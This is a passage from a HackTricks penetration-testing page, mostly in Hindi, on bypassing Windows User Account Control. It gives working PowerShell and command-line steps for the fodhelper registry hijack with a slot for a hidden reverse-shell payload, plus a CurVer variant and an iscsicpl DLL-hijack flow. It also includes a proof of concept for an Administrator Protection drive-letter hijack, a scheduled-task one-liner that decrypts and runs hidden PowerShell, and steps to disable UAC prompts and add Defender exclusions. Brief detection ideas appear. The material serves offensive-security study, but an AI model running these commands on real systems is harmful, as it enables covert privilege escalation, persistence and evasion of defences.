1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
Notes:
- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions).
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.

#### CurVer/extension hijack variant (HKCU only)

Recent samples abusing `fodhelper.exe` avoid `DelegateExecute` and instead **redirect the `ms-settings` ProgID** via the per-user `CurVer` value. The auto-elevated binary still resolves the handler under `HKCU`, so no admin token is needed to plant the keys:
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

Elevated होने के बाद, malware आमतौर पर HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin को 0 पर सेट करके future prompts को disable कर देता है, फिर अतिरिक्त defense evasion करता है (जैसे, Add-MpPreference -ExclusionPath C:\ProgramData) और high integrity पर चलने के लिए persistence को फिर से बनाता है। एक typical persistence task disk पर एक XOR-encrypted PowerShell script store करती है और हर घंटे उसे in-memory decode/execute करती है:

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

यह variant अभी भी dropper को साफ कर देता है और केवल staged payloads छोड़ता है, जिससे detection को CurVer hijack, ConsentPromptBehaviorAdmin tampering, Defender exclusion creation, या scheduled tasks जो in-memory में PowerShell decrypt करते हैं, की monitoring पर निर्भर होना पड़ता है।

More UAC bypass

यहां उपयोग की गई सभी techniques जो AUC को bypass करती हैं, victim के साथ एक full interactive shell की require करती हैं (एक सामान्य nc.exe shell पर्याप्त नहीं है)।

आप इसे meterpreter session के जरिए प्राप्त कर सकते हैं। ऐसे process पर migrate करें जिसका Session value 1 के बराबर हो:

(explorer.exe should works)

UAC Bypass with GUI

यदि आपके पास GUI का access है तो आप बस UAC prompt आने पर उसे accept कर सकते हैं; वास्तव में आपको bypass की जरूरत नहीं होती। इसलिए, GUI access मिलने से आप UAC को bypass कर पाएंगे।

इसके अलावा, यदि आपको किसी ऐसे व्यक्ति का GUI session मिलता है जो उसका उपयोग कर रहा था (संभावित रूप से RDP के जरिए), तो कुछ tools ऐसे होंगे जो administrator के रूप में चल रहे होंगे, जिनसे आप उदाहरण के लिए सीधे बिना UAC से फिर से prompt हुए as admin एक cmd चला सकते हैं, जैसे https://github.com/oski02/UAC-GUI-Bypass-appverif। यह थोड़ा अधिक stealthy हो सकता है।

Noisy brute-force UAC bypass

यदि आपको noisy होने की परवाह नहीं है, तो आप हमेशा https://github.com/Chainski/ForceAdmin जैसा कुछ run कर सकते हैं, जो तब तक permissions elevate करने के लिए ask करता रहता है जब तक user उसे accept नहीं कर देता।

Your own bypass - Basic UAC bypass methodology

यदि आप UACME पर नजर डालें, तो आप देखेंगे कि most UAC bypasses एक Dll Hijacking vulnerability का abuse करते हैं (मुख्यतः malicious dll को C:\Windows\System32 में लिखकर)। यह पढ़ें ताकि आप जान सकें कि Dll Hijacking vulnerability कैसे खोजें.

1. एक ऐसा binary खोजें जो autoelevate करता हो (जांचें कि जब यह execute होता है तो high integrity level पर चलता है)।
2. procmon के साथ “NAME NOT FOUND” events खोजें जो DLL Hijacking के लिए vulnerable हो सकते हैं।
3. आपको संभवतः DLL को कुछ protected paths (जैसे C:\Windows\System32) के अंदर write करना होगा, जहां आपके पास writing permissions नहीं हैं। आप इसे इन तरीकों से bypass कर सकते हैं:
4. wusa.exe: Windows 7,8 and 8.1. यह CAB file की content को protected paths के अंदर extract करने की अनुमति देता है (क्योंकि यह tool high integrity level से execute होता है)।
5. IFileOperation: Windows 10.
6. एक script तैयार करें जो आपकी DLL को protected path में copy करे और vulnerable तथा autoelevated binary को execute करे।

Another UAC bypass technique

इसमें यह देखा जाता है कि क्या कोई autoElevated binary registry से किसी binary या command का name/path जिसे execute किया जाना है, read करने की कोशिश करता है (यह तब अधिक interesting होता है जब binary यह जानकारी HKCU के अंदर खोजता है)।

UAC bypass via SysWOW64\iscsicpl.exe + user PATH DLL hijack

32-bit C:\Windows\SysWOW64\iscsicpl.exe एक auto-elevated binary है जिसका abuse iscsiexe.dll को search order के जरिए load कराने के लिए किया जा सकता है। यदि आप एक malicious iscsiexe.dll को user-writable folder में रख सकते हैं और फिर current user का PATH (उदाहरण के लिए HKCU\Environment\Path के जरिए) modify कर सकते हैं ताकि वह folder search हो, तो Windows attacker DLL को elevated iscsicpl.exe process के अंदर without showing a UAC prompt load कर सकता है।

Practical notes:

• यह तब उपयोगी है जब current user Administrators में हो लेकिन UAC के कारण Medium Integrity पर चल रहा हो।
• इस bypass के लिए SysWOW64 copy relevant है। System32 copy को एक अलग binary मानें और behavior को independently validate करें।
• यह primitive auto-elevation और DLL search-order hijacking का संयोजन है, इसलिए अन्य UAC bypasses के लिए उपयोग किया गया वही ProcMon workflow missing DLL load को validate करने में उपयोगी होता है।

Minimal flow:

copy iscsiexe.dll %TEMP%\iscsiexe.dll
reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe

Detection ideas:

• reg add / registry writes to HKCU\Environment\Path के तुरंत बाद C:\Windows\SysWOW64\iscsicpl.exe का execution होने पर alert करें।
• %TEMP% या %LOCALAPPDATA%\Microsoft\WindowsApps जैसी user-controlled locations में iscsiexe.dll के लिए hunt करें।
• iscsicpl.exe launches को unexpected child processes या normal Windows directories के बाहर से आने वाले DLL loads के साथ correlate करें।

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection” shadow-admin tokens with per-session \Sessions\0\DosDevices/<LUID> maps का उपयोग करता है। Directory को SeGetTokenDeviceMap first \?? resolution पर lazily create करता है। अगर attacker shadow-admin token को केवल SecurityIdentification पर impersonate करता है, तो directory attacker को owner के रूप में create होती है ( CREATOR OWNER inherit करती है), जिससे drive-letter links बनाना संभव होता है जो \GLOBAL?? पर precedence लेते हैं।

Steps:

1. Low-privileged session से, RAiProcessRunOnce call करें ताकि promptless shadow-admin runonce.exe spawn हो।
2. उसके primary token को एक identification token में duplicate करें और \?? खोलते समय उसे impersonate करें ताकि attacker ownership के तहत \Sessions\0\DosDevices/<LUID> create हो जाए।
3. वहां attacker-controlled storage की ओर point करता हुआ C: symlink create करें; उस session में बाद के filesystem accesses में C: attacker path पर resolve होगा, जिससे बिना prompt के DLL/file hijack संभव हो जाता है।

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

References

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• LOLBAS: Iscsicpl.exe
• Microsoft Docs – How User Account Control works
• UACME – UAC bypass techniques collection
• Checkpoint Research – KONNI Adopts AI to Generate PowerShell Backdoors
• Check Point Research – Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets
• Project Zero – Windows Administrator Protection drive-letter hijack

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

• subscription plans देखें!
• जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
• HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।